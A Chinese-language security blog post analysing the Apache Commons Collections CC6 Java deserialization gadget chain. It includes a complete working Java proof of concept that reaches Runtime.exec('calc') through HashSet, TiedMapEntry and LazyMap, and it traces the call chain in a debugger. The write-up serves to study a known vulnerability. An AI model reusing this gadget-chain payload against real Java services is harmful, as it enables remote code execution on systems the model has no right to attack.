Java安全之Commons Collections6分析
Java安全之Commons Collections6分析
0x00 前言
其实在分析的几条链中都大致相同，都是基于前面一些链的变形，在本文的CC6链中，就和前面的有点小小的区别。在CC6链中也和CC5的利用链类似，但是CC6链中使用的是HashSet去触发LazyMap的get方法。而在CC5中使用的是BadAttributeValueExpException。
0x01 POC分析
这里还是去简化一下POC代码，因为ysoserial做了很多优化和封装。所以在第一次看该代码的时候，虽然也能看懂，但是不太容易理清思路。
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers，防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();
}
}
以上这段代码是从网上找来的POC,里面提取出来的重要的代码。首先还是得来执行一遍，POC代码是否能够去正常运行。
能够正常执行，后面就来分析一下POC的构造。前面的一段代码和CC1一样，就不做赘述了。
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
这段代码也是在构造CC5链中出现的，将map和LazyMap,调用get方法就会调用transform方法。而这里是再使用了TiedMapEntry类去将LazyMap实例化对象传入进去。调用到TiedMapEntry的getValue就会在getValue内部去调用get方法。
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers，防止序列化时在本地执行命令
这一步里使用的是HashSet来进行构造，将前面的TiedMapEntry实例化对象添加进去。后面还调用了lazyMap.remove方法将test1给移除，这是因为在执行的时候如果没使用lazyMap.remove将test1给移除掉将不会进入到该判断语句里面去。
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
上面这一段其实就为了防止在序列化的时候，在本地将构造好的命令给执行一遍。相当于
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers)
这一段代码。
0x02 POC调试
在readObject复写点打个断点进行调试，也就是Hashset的readObject。
在Hashset的readObject方法中，回去调用map的put方法。这里的map为Hashmap的对象，所以这里调用的是Hashmap的put方法，跟进一下该方法。
而在这一步又会去调用hash方法并且传入key作为参数。还需要再跟进一下hash方法。
跟进到方法里面会发现，方法内部还会去调用key的hashcode,而这里的key为TiedMapEntry的实例化对象。调用的则是TiedMapEntry的hashcode。跟进一下hashcode方法。
在此处就可以看到hashcode还会去调用getValue方法，下面的内容其实就和CC5的利用链一样了。
来到getValue看看
这里就会去调用this.map.get()方法，this.map是LazyMap的实例化对象。使用的是下面这段POC代码对this.map进行赋值。
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
为了更清晰整一条利用链，再跟进一下LazyMap的get方法。
这里在前面提到过，需要lazyMap.remove方法移除前面填入的KEY才能够进行到该if判断语句里面去执行transform方法，否则就直接走的是else的方法体内容了。达不到所要的效果，利用链也没法进行执行命令了。
其实到这一步已经很清晰了，下面的就不做分析了，前面的文章分析过很多回了。
利用链
HashSet.readObject->HashMap.put
->HashMap.hash->TiedMapEntry.hashCode
->TiedMapEntry.getValue->LazyMap.get
->ChainedTransformer.transform->InvokerTransformer.transform
->Runtime.exec
0x03 结尾
本篇文章其实也是只挑了一些重点去做分析，其他的都是地方，和前面的都一样就没必要再去分析一遍了。
